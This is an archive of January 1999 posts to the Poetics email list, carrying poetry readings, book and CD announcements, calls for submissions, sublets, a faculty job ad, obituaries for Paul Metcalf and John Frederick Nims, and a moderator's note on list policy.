
http://www.nytimes.com/yr/mo/day/news/national/obit-hopkins.html

↑ Index

65. Robert Archambeau
SAMIZDAT #2/Free Offer
Tue 19 Jan 1999

SAMIZDAT #2 has just rolled steaming hot off the presses!

Included in this broadsheet issue:

Masha Zavialova -- an essay on the St.Petersburg poetry conference (a brief review had been posted on the list, now read a full report, along with translations of new experimental Russian poetry)

Michael Barrett -- the conclusion of his long series "Babylons," begun in Samzdat #1

Poems by Michael Anania, John Matthias, Catherine Kasper, Orlando Ricardo Menes, Jeffrey Roessner and Joe Francis Doer

Reviews of Janet Holmes and Stephanie Strickland

A LIMITED NUMBER OF COPIES ARE AVAILABLE FREE TO LIST MEMBERS

Just send me a message with the subject line "Samizdat"

Copies of issue #1 are still available for three dollars. One year subscriptions (three issues) are ten dollars, checks made out to me.

Robert Archambeau
Lake Forest College, Illinois/Lund University, Sweden

↑ Index

66. Burt Kimmelman
Re: New Creeley Book
Tue 19 Jan 1999

Another new Creeley book: "Day Book of a Virtual Poet" available from Spuyten Duyvil (http://www.freeyellow.com/members/spuytenduyvil/), just out.

↑ Index

67. joel lewis
f.y.i.
Tue 19 Jan 1999

*** Man starting Christian tattoo group

BISMARCK, N.D. (AP) - Randy Mastre is a tattoo artist of Christian themes. He inks Jesus into his customers. His tattooed Biblical inscriptions and portraits of Christ provide startling contrast to more typical flaming skulls and "Born to Raise Hell" markings adorning the leather-clad bikers he rubs elbows with at national tattoo conventions. It was at one of those convention that he met the Rev. Daniel Ostrowski, a born-again Christian and Word of Faith pastor who runs a tattoo parlor in Wassau, Wis. Last year, the two decided to unite other Christian tattooers. Since then, almost 100 tattoo parlors across the nation have heard the call of the Christian Tattoo Association. See http://www.infobeat.com/stories/cgi/story.cgi?id=2558085777-4dc

↑ Index

68. Burt Kimmelman
Job Opening (see description way below)
Wed 20 Jan 1999

From: MX%"[redacted]" 19-JAN-1999 17:41:55.43
To: MX%"[redacted]"
CC:
Subj: Job Opening

Tue, 19 Jan 1999 17:41:53 EST
mail-gw2.njit.edu (8.8.7/8.8.7) with ESMTP id RAA01195 for
<[redacted]>; Tue, 19 Jan 1999 17:47:33 -0500
Tue, 19 Jan 1999 17:41:51 -0500 (EST)
Date: Tue, 19 Jan 1999 17:41:51 -0500 (EST)
To: [redacted]
From: "Burt J. Kimmelman (14979)" <[redacted]>
Subject: Job Opening

Date: 9 Jan 1999 17:41:50 -0500
Lines: 6

M 19189 Burt J. Kimmelman (Burt,14979) 1/19/99 5:41 PM 6 lines

TO: "Burt Kimmelman [redacted]" Subject: Job Opening

A search is underway to fill the following tenure-track position.

Assistant Professor of Professional and Technical Communication (PTC); requires PhD in English, Communication, or Rhetoric; record of publications in

field with potential to achieve national reputation in field. Description: Assistant Professor in Dept. of Humanities and Social Sciences at New Jersey Institute of Technology; teaching undergraduate and graduate courses in PTC, pursuing scholarly research, and contributing to goals of department and university.

Skills: Effective teacher, productive scholar, collegial member of faculty. Possible areas of specialization might include health care informatics, environmental rhetoric, hypertext and hypermedia. Must be internet-proficient. ..

↑ Index

69. lee ann brown
NYC SUBLET
Wed 20 Jan 1999

NYC SUBLET:

Poet/Listers: I'm looking for NYC subletter Jan 29-March 31
(2 months)
$700 per month, Central Downtown location, 1 bedroom.
Call me ASAP if you're interested.

Lee Ann Brown
[redacted]

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

70. lee ann brown
Barbara Guest receives Frost Medal
Wed 20 Jan 1999

Barbara Guest has been awarded the Frost Medal
for Distinguished Lifetime Achievement
by the Poetry Society of America.

She will be delivering the Frost Lecture at the
Celeste Bartos Forum,
New York City Public Library (Main Branch)
6pm, Friday April 23, 1999.

Admission $12/ $8 PSA members and Friends of Public Library
Mark your calenders!

The medal has been given in the past to the like of Gwendolyn Brooks, John Ashbery, Marianne Moore, Robert Frost, Edgar Lee Masters, Wallace Stevens and other luminaries. For more information call Poetry Society of America at [redacted].

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

71. Hank Lazer

Beach, announcement & discount

Wed 20 Jan 1999

Announcing the Inaugural Volume in the New Series
Modern and Contemporary Poetics,
edited by Charles Bernstein and Hank Lazer

Artifice and Indeterminacy: An Anthology of New Poetics

Edited by Christopher Beach

This volume brings together the most important writings on contemporary poetics by poets and critics who have shaped and defined the contemporary literary avant-garde. Beach gathers the strongest and most representative writings of the past two decades and shows more clearly than ever before the depth and breadth of contemporary American poetics. Collectively, these essays break with conventional interpretive frameworks and traditional generic boundaries of poetry to give fresh voice to the poetics of our time. Neither dismissive of the aesthetic value(s) of poetry, nor reluctant to articulate the ways in which aesthetic evaluation is complicated by the mediating influences of history, culture, class, gender, race, and academic status, the writers presented in this anthology celebrate the "artifice" of the poetic text while also accepting as a given the "indeterminacy" of its inception and reception. Individual pieces range in style and approach from theoretical writings to discussions of individual poets such as Emily Dickinson, Louis Zukofsky, and Bob Kaufman. The authors consider such critical issues as gender and the possibilities of a "feminist poetics," the

textual politics of race and class, and the broader implications of an avant-garde practice.

CONTENTS

Preface

Section 1: Form/Syntax/Speech
1. Artifice of Absorption, Charles Bernstein
2. Parataxis and Narrative: The New Sentence in Theory and Practice, Bob Perelman
3. Total Syntax: The Work in the World, Barrett Watten
4. "Skewed by Design": From Act to Speech Act in Language Writing, Michael Davidson
5. The Changing Face of Common Intercourse: Talk Poetry, Talk Show, and the Scene of Writing, Marjorie Perloff

Section 2: Pattern/Experience/Song
6. What it means to be avant-garde, David Antin
7. Pattern -- and the "Simulacral," Leslie Scalapino
8. Strangeness, Lyn Hejinian
9. Come Shadow Come and Pick This Shadow Up, John Taggart

Section 3: Institutions and Ideology
10. The Boundaries of Poetry, James Sherry
11. The Political Economy of Poetry, Ron Silliman
12. Writing as a General Economy, Steve McCaffery
13. The Politics of Form and Poetry's Other Subjects: Reading Contemporary American Poetry, Hank Lazer
14. On Edge, Nathaniel Mackey
15. "Unmeaning Jargon"/Uncanonized Beatitude: Bob Kaufman, Poet, Maria Damon

Section 4: Poetics and Gender
16. Feminist Poetics and the Meaning of Clarity, Rae Armantrout
17. The Pink Guitar, Rachel Blau DuPlessis
18. These Flames and Generosities of the Heart: Emily Dickinson and the Illogic of Sumptuary Values, Susan Howe

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Michelle Sellers
Marketing Manager
University of Alabama Press
[redacted]

↑ Index

72. Brian N Clements
Firewheel Chapbook Competition
Wed 20 Jan 1999

The deadline for the second annual Firewheel Chapbook Competition is Feb. 28, 1999. The competition is open to all genres, including cross-genre and experimental writing. The winning manuscript in 1998 was a collection of poems entitled "The Future Called Something O'Clock" by Daniel Luevano of Lubbock, TX.

Manuscripts of up to 20 pages are eligible, and there is a $10 entry fee. ALL entry fees in the competition go towards the publication of the competition winner and of other Firewheel titles, including the anthology series _Best Texas Writing_ and Joe Ahearn's forthcoming chapbook (untitled).

Send entries and SASE or email address to Firewheel Editions, 1133 Melissa Ln., Garland, TSX 75040. Questions? Send them to [redacted]

~~~
~~~

Correspondence to:

Samizdat
14 Campus Circle
Lake Forest, IL 60045

SAMIZDAT #3 will be out this spring, with a selection of new European work in translation.

Robert Archambeau

↑ Index

74. Herb Levy
Catriona Strang/Francois Houle CD & Vancouver performance
Thu 21 Jan 1999

Hi all,

Announcing the publication of The Clamourous Alphabet, a CD by poet Catriona Strang and composer/clarinetist Francois Houle. The nearly one-hour long disk presents solos and duets by these two Vancouver artists.

On January 29, 1999, Houle & Strang will be performing with two jazz groups (Francois in a trio with bassist Chris Tatty & percussionist Dylan van der Schyff; and guitarist Ken Aldtraff's trio with Brian Harding trombone & drummer Nick Gaffaney) @ Performance Works, Granville Island, VANCOUVER, B.C., 8 pm, $15/12. CDs will be available for sale at the performance.

The disk is also available by mail to Poeticsa list members for $14, including postage or any two Periplum disks (including two copies of Clamourous Alphabet) for $25. Please send checks to Periplum, P O Box 95678, Seattle, WA 98145 USA. The Clamourous Alphabet CD will be available in stores and through SPD for $16.95.

Other Periplum discs include:

Suspended Music - Deep Listening Band/Long String Instrument; works by Pauline Oliveros & Ellen Fullman. inventor of the 100-foot long Long String Instrument

Burning Water - Martin Bartlett; three interactive computer pieces (with Peter Hannan, George Lewis, & Frances-Marie Uitti) & a solo by Bartlett using homebrew & early Buchla modules

Catacombs of Yucatan - Dan Senn; compositions & improvisations for homemade electro-acoustic instruments, with a horspiel based on oral history of a 1930s dance hall in Minnesota

Archipelago - LAND; collaborative dark ambient/improv band with Jeff Greinke, Lesli Dalaba, Dennis Rea & others

The following is taken from the pr for the January 29th performance:

Poet Catriona Strang and clarinetist Franois Houle have been working together for many years on collaborations that explore the complex and sometimes antagonistic relationship between music and language; their combinations of words and sound weave a richly bracing aural terrain. They have performed together across North America and in England at such festivals as the "Recovery of the Public World Festival" in honour of poet Robin Blaser and the Tic-Toc festival of New Music. They have recorded for the BBC, and their new CD, "The Clamourous Alphabet", is available now on the Periplum label.

The product of many years of intense collaboration on everything from composition to diaper changing, "The Clamourous Alphabet" is an amorphous work that inhabits and interrogates systems of notation, both linguistic and musical. It is not words set to music, or music with text, but a piece that weaves between and beyond musical and linguistic terrains, always shifting, never predictable.

Catriona Strang is the author of Steep, Low Fancy, Familiar, and TEM, and a scout for the poetry magazine Raddle Moon. Her compact, textured poetry has appeared in numerous magazines and anthologies, including The Gertrude Stein Awards for Innovative Poetry (Sun and Moon) and Out of Anywhere: Linguistically Innovative Writing by Women (Reality Street Editions). In addition to working on "The Clamourous Alphabet" with Franois and caring for their daughter Nina, she is currently writing a song cycle with composer Jacqui Leggatt.

Franois Houle is a noted performer on the crest of new directions in the improvisational world; familiar with the classical vocabulary as well as the worlds of jazz and contemporary music, he pairs the intensity and urgency of free jazz with complex compositional processes to create subtle, innovative, and passionate music. He has collaborated on numerous projects with some of the world's finest improvisers, including Marilyn Crispell, Jolle Landre, Georg Graewe, Dylan van der Schyff, Peggy Lee, Tony Wilson, Dave Douglas, Evan Parker, Myra Melford, Carlos Zingaro, Phil Haynes, Mark Dresser, Lisle Ellis, and Paul Plimley.

Herb Levy

↑ Index

75. Safdie Joseph
SEATTLE SUBLET
Thu 21 Jan 1999

Didn't know this was allowed under the new rules, but .. .
SEATTLE SUBLET:
Poet/Listers: I'm looking for Seattle subletter August 5-September 16 (6 weeks) (no rain)
$700 (or so) total, West Seattle home, 3 bedrooms.
Call me (not ASAP) if you're interested.
Joe Safdie
[redacted]

↑ Index

76. George Bowering
Re: Other
Tue 20 Jan 1998

I have a copy of this anthology at last, the new British and irish poets, a kind of Allen anthology of those ginks over there, lots of them, of course on the Buffnet. Peter Quartermain, he of incredible energy, it seems, and Richard caddel the editors. A nice thick book from Wesleyan, who have turned into a brain-filled publisher of late.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

77. Jessica Pompeii
I'll trade ya maybe.
Thu 21 Jan 1999

I live in Santa Monica. And need to get the fuck out of here. But still keep working. Anyone with a Mac, preferably not in LALA, want to trade for a while? Must like 3 cats. 1 bedroom. New YOrk? Just thought I would fly fish that one out there. Maybe a month or something??????????????
Bali?
thanks,
Jessica

↑ Index

78. Don Byrd
Paul Metcalf
Thu 21 Jan 1999

Paul Metcalf died today (1-21-99). Paul was born on the day and year of the Russian Revolution (November 7, 1917). He was an actor, a school-bus driver, and a real estate broker. He was the author of twenty-four books, most of them in a genre that he invented. His best known books are _Genoa_ (1965), _Patagoni_ (1971), _Appalache_ (1976), and _The Middle Passage_ (1976). Twenty-two of the books are published in the three-volume _Collected Works_ (Coffee House Press, 1996, 1997, 1998).

The dolphin lives cleanly
Because it is said
The dolphin
Eats only darkness
And rain that falls on the sea.
--Paul Metcalf

↑ Index

79. Poetics List
TELEPOETICS VANCOUVER
Fri 22 Jan 1999

I had to re-format this message a bit; inquiries should
be directed to CL Hamshaw at the address below. Chris

---------- Forwarded message ----------

Date: Thu, 21 Jan 1999 18:08:10 -0800
From: CL Hamshaw <[redacted]>
To: [redacted],
[redacted],
[redacted]
Subject: TELEPOETICS VANCOUVER

FOR IMMEDIATE RELEASE
DATE: Sunday, January 31st
PLACE: Liliget Feasthouse,
1724 Davie Street
Vancouver, BC
TIME: 12pm -3pm
COST: By Donation (proceeds to the Native Youth Mentorship Program)

TELEPOETICS ©

a virtual poetry reading between First Nations writers in
Vancouver and The U'mista Cultural Centre in Alert Bay

Featuring...
David Campbell
Mahara Albrecht
Marilyn Dumont
Vanessa Engel
and other Native youths.

What is Telepoetics©?

It's a simple concept. People gather in two distant places for a shared poetry performance. Computer, Internet, and videophone technologies link the venues in real time. People see and hear each other, directly engaging each other's cultures without any intervention by mass media. Their four walls are thousands of miles apart but they form a common venue in the moment. So while many people come to these live events for the poetry, they go home with a little bit of the distant culture they witnessed.

This event is produced with the co-operation of the Native Youth Mentorship Program and the Edgewise ElectroLit Centre. Supported by Canada Council, BC Arts Council and the City of Vancouver.

For more information contact Carol Hamshaw at [redacted],
[redacted] or visit our website at
http://www.edgewisecafe.org

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

80. Ron Silliman
John Frederick Nims
Fri 22 Jan 1999

Seems like I've been posting obits a lot lately. Now it's John Frederick Nims:

http://www.nytimes.com/yr/mo/day/news/national/obit-jnims.html

↑ Index

81. Lawrence Upton.
Re: Other
Fri 22 Jan 1999

-----Original Message-----
From: George Bowering <[redacted]>
Date: 20 January 1998 08:32
Subject: Re: Other

|I have a copy of this anthology at last, the new British and irish poets, a |kind of Allen anthology of those ginks over there, lots of them, of course |on the Buffnet. Peter Quartermain, he of incredible energy, it seems, and |Richard caddel the editors. A nice thick book from Wesleyan, who have |turned into a brain-filled publisher of late.

And in case anyone over there is going to be over here on 29th Jan 99, us ginks are going launch it at the third sub voicive colloquium - Mr Caddel will be speaking amongst others - details at the conference section of epc

L

THIRD SUB VOICIVE COLLOQUIUM 29th January 1999
http://writing.upenn.edu/epc/conferences/

"house" a visual text by lawrence upton.
handbound with acrylic painted cardstock covers.
$3.00 Canadian ISBN: 1-894174-08-9
published by housepress ([redacted])

↑ Index

82. Lawrence Upton.
(no subject)
Fri 22 Jan 1999

13th January 1999. Canadian Peter Jaeger helped SVP in London kick off its winter/spring season, reading a substantial amount of recent work to a reasonably-sized audience on a less than pleasant germ-laden London winter evening . Your correspondent, attempting to chair, was high on the symptoms of a heavy cold and the effects of anti-symptom substances; so his memory is more than flawed.

However, having been asked to, I can make some observations. Firstly, of the wide range of procedures and forms that Jaeger exhibited, and all apparently from the same writing period - seeking to appropriately match form and procedure to material; and also, whatever procedures were applied and forms

developed, the appropriation of linguistic material from his / our environment and its reuse, both towards the making of the texts he uttered and towards exposing the procedures and assumptions of that material in its original context, and the creative clash of the two. I hope that's clear enough - I still have the cold.

Secondly, or is it thirdly, or higher, I was impressed with his ability to modulate tempo and tone of voice according to the demands of the texts so that each piece had its own shape and pace and tone, while the different registers of the combining fragments and the fragmenting registers went flying by in their own spaces at their own pace. Clear reading, confident reading, strong and appropriate.

I became aware of Peter's work first through his visually-oriented texts. He didn't perform any of those on 13th, but one can't have everything. Yet, in a way, we did, because Writers Forum launched two publications by Peter Jaeger, both visually very exciting: BLUE HERO ISBN 0 86162 849 7 BIBLIODOPPLER ISBN 0 86162 858 6 I look forward to hearing them performed, in person or in recording, at some future date. There are copies in North America, with Peter, and more are on their way. Or else order from New River Project, 89a Petherton Road, London N5 2QT Each booklet costs £2.00 + postage which of course varies with where you are. Sterling only, I'm afraid.

NB SVP magazine will be publishing a batch of work by Peter Jaeger - this was deferred from 13th Jan due to the bugs. Likely date of publication of 9th Feb, which will be SVP 1999 # 3. An announcement will be posted, List Willing. And Peter also features in WORD SCORE UTTERANCE CHOREOGRAPHY edited by Cobbing and Upton and also published by WF, last year Send enquiries regarding the 3 WF books to NRP with sae / irc, not me please...

L

THIRD SUB VOICIVE COLLOQUIUM 29th January 1999
http://writing.upenn.edu/epc/conferences/

"house" a visual text by lawrence upton.
handbound with acrylic painted cardstock covers.
$3.00 Canadian ISBN: 1-894174-08-9
published by housepress ([redacted])

↑ Index

83. Poetry Project
readings at the Poetry Project
Fri 22 Jan 1999

This week at the Poetry Project:

Monday, Jan. 25, 8 pm

Nava Fader & David Mills

Wednesday, Jan. 27, 8 pm

Cole Swenson & Linh Dinh

Friday, Jan. 29th, 10:30 pm

Fall Workshop Readings
Workshop Leaders: Frank Lima, Maureen Owen, & Stephen Rodefer

Admission: $7, $4 for students, free for members.

UPCOMING:

On Saturday, Feb. 6th at 1 pm

A celebration of the publication of Word Virus: The William S. Burroughs Reader with readings by Bruce Andrews, Penny Arcade, Barbara Barg, Jim Carroll, Larry Clark, Todd Colby, Anne Douglas, Maggie Estep, Ed Friedman, John Giorno, Brad Gooch, James Grauerholz, Richard Hell, Lenny Kaye, Jackson Mac Low, Taylor Mead, Bob Mould, Eileen Myles, Ron Padgett, Wanda Phipps, Barney Rosset, Ira Silverberg, Lynne Tillman, Edwin Torres, Paul Violi, Anne Waldman, John Yau, and many others!

Call [redacted] for more information. Volunteers welcome.

↑ Index

84. david bromige
Our own Rachel
Fri 22 Jan 1999

Listmates, let us delight in the news that Rachel Loden's book, HOTEL IMPERIUM, is a winner in the Contemporary Poetry Series competition! It will be published this year by the University of Georgia Press. Cogratulations, Rachel! David Bromige

↑ Index

85. Poetry Project
Laserprinter
Fri 22 Jan 1999

To in-need literary organizations/presses:

The Poetry Project has an Apple Laserwriter NT to donate.

It needs some fixing--one of the toner gears or the "face-down delivery system" needs replacement. But otherwise, it's been a very good & loyal printer.

If you pick it up from our office (in St. Mark's Church, 2nd Ave & 10th St.), it's yours.

Call [redacted] if it is to be so.

↑ Index

86. Karen McKevitt
Last Call for Submissions
Fri 22 Jan 1999

Fourteen Hills: The SFSU Review is accepting submissions until February 1. Several of our contributors have won O. Henry Awards as well as been published in Best American Poetry, Best American Short Stories, Best American Gay Fiction, and been nominated for Pushcart Prizes.
Please send one piece of prose (3 if short) or up to 5 poems to:
Linda Jarkesy
Editor-in-Chief
Fourteen Hills
Creative Writing Dept
San Francisco State University
1600 Holloway Ave
San Francisco, CA 94132

***We do not read email submissions. Please include a SASE and phone number or email address.

Karen McKevitt

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

87. acgold01
20C Lit. Conference Chairs
Fri 22 Jan 1999

I'm looking for folks to chair various 20C. American (and one Irish) poetry panels at the 20C. Literature Conference here in Louisville Feb. 25-27--an event that a number of you on the list have attended before and are, I'm pleased to see, attending again in some cases this year. Guest speakers / readers this year are Robert Creeley, Jane Marcus, Marilyn Nelson and Steve Weisenburger (pomo fiction scholar). People coming as "regular" panelists include Barrett Watten, Margy Sloan, Alaric Sumner, Lynn Keller. If you're interested, drop me an e-note and let me know your interests so that I can adapt expertise to panel topic as much as possible.

My other address would work best: [redacted]

Oh yeah, and you get to come to a good party on the saturday night.

Alan Golding

↑ Index

88. charles alexander
POG readings
Fri 22 Jan 1999

One reading last night, too late, but I'll mention it anyway:

Charles Alexander at Univ. of Arizona Extended University reception 6 pm Jan. 21 at St. Phillips in the Hills Church, NE corner Campbell & River Tucson, Arizona

and upcoming POG readings/presentations in the Poets & Artists Series

Jan. 23
7pm
dinnerware artists' cooperative
135 E. Congress St., Tucson
JACK FOLEY & ADELLE FOLEY

Feb. 6
7pm
Las Artes Studio
South Tucson
Norman Fischer & Maurice Grossman
(call chax press at [redacted] for studio address & directions to get there)

Feb. 13
7pm
dinnerware
135 E. Congress St., Tucson
ERICA HUNT
& a Tucson poet to be named later

More readings to come in March, featuring Maggie Jaffe, Juan Felipe Herrera, Peter Ganick, Sheila Murphy, David Shapiro, and more. And in April featuring Dan Featherston, Rodrigo Toscano, and Hung Q. Tu. I'll post details on those later.

come to tucson if you can

call chax press, [redacted], for more information on these events

↑ Index

89. Peter Quartermain
Re: Paul Metcalf
Fri 22 Jan 1999

This is thoroughly dismaying news. I'd say that Metcalf is (like Ronald Johnson) one of the most severly under-read inventors of our time / language / thought / art / seeing. I guess I feel more than a little guilty that I spent so ;little time furthering his work. Oh how I wish otherwise. Damn damn damn. And who will notice, outside this list? Hardly anyone, I'm afeard. But yes, as Don Byrd reminds us, there are (thank what goodness there might be) the three volumes of the collected works. We should go (re)read them..

Peter

At 10:31 PM 1/21/99 -0500, Don Byrd wrote:
> Paul Metcalf died today (1-21-99). Paul was born on the day and year of
>the Russian Revolution (November 7, 1917). He was an actor, a school-bus driver,
>and a real estate broker. He was the author of twenty-four books, most of them
>in a genre that he invented. His best known books are _Genoa_ (1965),
>_Patagoni_ (1971), _Appalache_ (1976), and _The Middle Passage_ (1976).
>Twenty-two of the books are published in the three-volume _Collected Works_
>(Coffee House Press, 1996, 1997, 1998).
>
> The dolphin lives cleanly
> Because it is said

> The dolphin
> Eats only darkness
> And rain that falls on the sea.
> --Paul Metcalf
>

+ + + +

flim: a free page is always scanning the neighbordhood looking for submissions. Any original piece of writing (in paragraphs, not verse) from 50-600 words will be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. flim is edited by Chris Piuma [[redacted]]. It is available in both print and online editions.

--
Chris [Steve] Piuma, etc. http://www.flim.com
"Wait, nevermind. They want someone who uses WordPerfect 5.1, not Word."

↑ Index

91. BETSY ANDREWS
questions for prurient interests
Sat 23 Jan 1999

Dear Listees:

I'm writing an article for Salon Magazine on graduate students and masturbation, basically exploring a casual theory about the strong relationship between grad studies and self pleasuring.

I've gathered many touching comments thus far. I'm interested in reaching out to as many informants as possible. I'd use first names only. I'm looking for people who are currently grad students, are recently finished grad school or are now profs.

If you are willing to answer a few interesting questions in whatever manner you desire, please backchannel a message to me and let me know, and I will email questions to you.

Thanks in advance, Betsy Andrews

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92. A. Jenn Sondheim
ANNOUNCEMENTS: TWO POETRY LISTS OF INTEREST TO YOU
Sat 23 Jan 1999

Hi -

I'm writing to suggest that there are two excellent lists for presentation and discussion of poetry, since Poetics will remain by and large a modera- ted list for announcements. Both lists have a number of Poetics subscrib- ers already.

Fiction-of-philosophy is an unmoderated e-mail list for writing - most of which is poetry or poetics. There is some discussion as well. We are inviting all of you to

sub to it; it will remain unmoderated and open to any literatures. To sub, write to [redacted] and say in the body of the email,

subscribe fop-l <firstname> <lastname>

That's all (fill in the names without the carets).

There is also available: SUBSUBPOETICS
an e-mail discussion list for news, games, and conversation about poetry

Point yourself to http://subsubpoetics.listbot.com

or if you can't have java and cookies send a note to [redacted]

Thank you!

(Alan Sondheim)

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93. Poetics List
note to re-welcome
Sun 24 Jan 1999

---

dear Listees, subscribers, poetics personalia -

Since re-beginning distribution of the Poetics List a short while ago, I've received a number of concerned messages, queries, and suggestions as to the status of the list, mostly with regard to what the new format might be. Principally, I agree with those of you who've expressed a desire that the list might be open to a bit more than just announcements and news; or, as a friend of mine put it, "I don't know how much more of this I can take."

The initial restriction to the latter was in place to give me time to catch up on (and to learn the mechanics of) the administrative duties 'behind' the list. I appreciate everybody's patience with this period (even everybody's impatience!). Now that I'm somewhat more comfortable with my role as moderator/editor, and have figured out what I =can= handle, I want to invite more extensive participation from list subscribers.

However, we're still restricted at this point to what I can handle. As list moderator, all of the messages come to me to be OK'd before being passed on to the list; part of my job is to shape the course of the list, keeping it predominantly, though with occasional detours, to the topics for which it was set up (i.e., poetry and poetics); and part of my job is to keep the volume of the list to a manageable level - say, around 15 messages per day, including announcements (more or less on any given day, of course). News and announcements are still considered to be a primary function of the list.

Other sorts of posts are very welcome, and an important component of the list. As to what other sorts of posts, I can offer some suggestions; however I'm not necessarily going to restrict the list to those suggestions, and I hope that what is sent will shape the list in ways I wouldn't expect. Above all, I don't want the list to be seized with too much formality any more than I want it to be taken for granted; so, when for example I say "book reviews," what I really mean is something closer to "I just read The Auto- biography of Groany McGee, and here's what I think" for a few paragraphs. Most of the suggestions I'll offer here are also to be found in the "submissions" section of the Welcome Message:

- information on publications and reading series
- event reports, book reviews, and short articles
- thoughts on or statements of poetics
- reading lists (annotated or not)
- occasional poems (or poems, occasionally)
- occasional political or organizing news
- obituaries
- responses to any of the foregoing
- queries on poetry/poetics topics

With regard to queries, I would ask that responses be sent to the person querying; and that this person would assemble and send a post of edited "highlights" from responses. Please feel free to write me a note and ask about something you plan to send, if you are unsure as to whether it's right for the list.

I should add that there are a few things I don't want, mostly in the interest of keeping list traffic down. These would be messages to other subscribers, for example "thanks for posting x" or "can you post x?" - things that can best be handled backchannel. One- line responses expressing agreement or disagreement with a post aren't too welcome; if you agree or disagree with someone, please at leasttake the time to explain your position. I don't have any particular objection to announcements of job openings or apartment swaps, etc., so long as we're not inundated with them.

I hope this message clears up or preempts some confusion about the list format, as well as serves invitation to participate. I've been tuned in to this list for a long time, often with my finger on the delete key, but often with great interest. Good things have happened here, and I don't intend to be an obstacle to their continuance.

best, Chris

Christopher W. Alexander
poetics list moderator

p.s., Alan Sondheim has asked me to announce that the Fiction of Philosophy list, or FOP-L, is open as a forum for discussion of, among other things, poetry and poetics. (Officially, FOP-L "is devoted to issues and presentations of philosophical fiction and fictional philosophy"). Since FOP-L is a co-moderated list, they are prepared to handle more traffic than I can at present. with the message

subscribe FOP-L

followed by your real name. (E.g. "subscribe FOP-L Immanuel Kant.") For more information, contact Alan at <[redacted]>.

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94. Poetics List

Playing with a Full Deck

Sun 24 Jan 1999

This one seems to have been lost in the shuffle. Apologies to dan, who notified me of the oversight, and to the readers for posting belatedly. Chris

--

From: dan raphael <[redacted]>
To: poetics <[redacted]>
Date: Wednesday, January 20, 1999 11:29 PM
Subject: Playing with a Full Deck

Just out from 26 Books-- Playing with a Full Deck, 27 Oregon and Washington (mostly Portland) poets, shwoing hteir best cards. Poets include Nico Vasillakis, Laura Feldman, Steve Sundin, Mark Sargent and Noemie Maxwell. Cost is 8$ and can be ordered through me, dan raphael.

Full Deck authors will be reading in Portland tonight, 1/21, at the Mark Woolley Gallery (120 nw 9th)-- 8 poets and the Gone Orchestra. Also 2/8 at the downtown Portland Borders and 2/15 at Powells downtown. (Upcoming readings in March in Seattle and Eugene.)

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95. Tom Beckett

a poem and a note

Sun 24 Jan 1999

A WITNESS RHYTHM

We have these big brains

and excrete the same pathogens.

* I attended only one poetry class during my college career. It was pretty horrible and, being the brash undergraduate that I was , one afternoon took the prof. aside and asked him if he even liked poetry. He said, "No." "Why then teach it?" I responded. "It's a job."

Robert Creeley's new book, DAY BOOK OF A VIRTUAL POET, is a moving example of how lively and compassionate the profession of poetry can be. DAY BOOK is the record of Creeley's participation in an on-line poetry course for students at City Honors in Buffalo, NY. I recommend it as antidote to the sort of disinterested teaching of poetry that many of us have grown up with.

DAY BOOK OF A VIRTUAL POET
$12.00
Spuyten Duyvil, Publisher
PO Box 1852
Cathedral Station, NYC 10025

--Tom Beckett

↑ Index

96. Bob Grumman
Valuable Info for Self-Publishers Plus an Announcement
Sun 24 Jan 1999

The valuable info for self-publishers is that you can get short-run editions of self-published books, chaps, zines, anything (perfect- bound in 4-color laminated covers) very reasonably at an "on-demand" publisher I've found in Atlanta. The cost isn't super-low but the great thing is that the initial cost can be as low as $40 or so. Sprout is the name of the company (and this is an unsolicited plug from a satisfied customer--I have no financial interest in the company, nor do I know anyone involved with it except commercially).

Here's how it works: you send them $25 plus 25 cents for each page of your manuscript (for scanning) plus a camera-ready copy of your manuscript. They then print however many copies you want, even just one. You pay an additional one to three dollars for each copy of your book depending on its size and cover price. I had 10 copies of the third, revised edition of my Of Manywhere-at-Once (210 pages) printed for what would have been $100 (except I got a special-offer discount of $50). That's not cheap, but from now on I can get copies of the book for $3 apiece. The big plus is that I didn't have to come up with $500 or more to get my book published. And I didn't have to make room in my house for a minimum of 100 copies. Ashley Gordon, the person I worked with via e.-mail, was very patient and helpful, too. Go to http://www.sproutinfo.com for more information. As for my announcement, I've already made it, pretty much. My Of Manywhere-at-Once is now available from the Runaway Spoon Press,

3621 for $10, ppd. It's part memoir, part discussion of what poetry is that covers pretty much the whole spectrum from Shakespeare through Keat, Cummings, Steven, Yeats, Pound, and Roethke to contemporaries like Karl Kempton, G. Huth, Liz Was, John M. Bennett . . . The terminology is updated and made other revisions here and there. The information in it, mostly about visual poetry, is now nearly ten-years-old, but it's more than you'll find on its esoteric subjects than you'll find in any other book I know of. (It doesn't have a 4-color laminated cover, though--I don't like the way they curl.)

--Bob G.

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97. charles alexander
Re: Paul Metcalf
Sun 24 Jan 1999

I just returned to poetics list a couple of days ago. this is the first I have heard. I had the pleasure of publishing Golden Delicious and Firebird by Paul, and of visiting him a couple of times in Massachusetts and hosting him, in Wisconsin in the early 80's, and twice later, in Tucson, where he read, we performed a play of his, and more. Paul will be missed. blessings to all his friends, and particularly to Nancy.

charles

At 06:34 PM 1/22/99 -0800, you wrote:
>This is thoroughly dismaying news. I'd say that Metcalf is (like Ronald
>Johnson) one of the most severly under-read inventors of our time / language
>/ thought / art / seeing. I guess I feel more than a little guilty that I
>spent so ;little time furthering his work. Oh how I wish otherwise. Damn
>damn damn. And who will notice, outside this list? Hardly anyone, I'm
>afeard. But yes, as Don Byrd reminds us, there are (thank what goodness
>there might be) the three volumes of the collected works. We should go
>(re)read them..
>
>Peter
>
>
>
>At 10:31 PM 1/21/99 -0500, Don Byrd wrote:
>> Paul Metcalf died today (1-21-99). Paul was born on the day and
>year of
>>the Russian Revolution (November 7, 1917). He was an actor, a school-bus
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>>and a real estate broker. He was the author of twenty-four books, most of them
>>in a genre that he invented. His best known books are _Genoa_ (1965),
>>_Patagoni_ (1971), _Appalache_ (1976), and _The Middle Passage_ (1976).
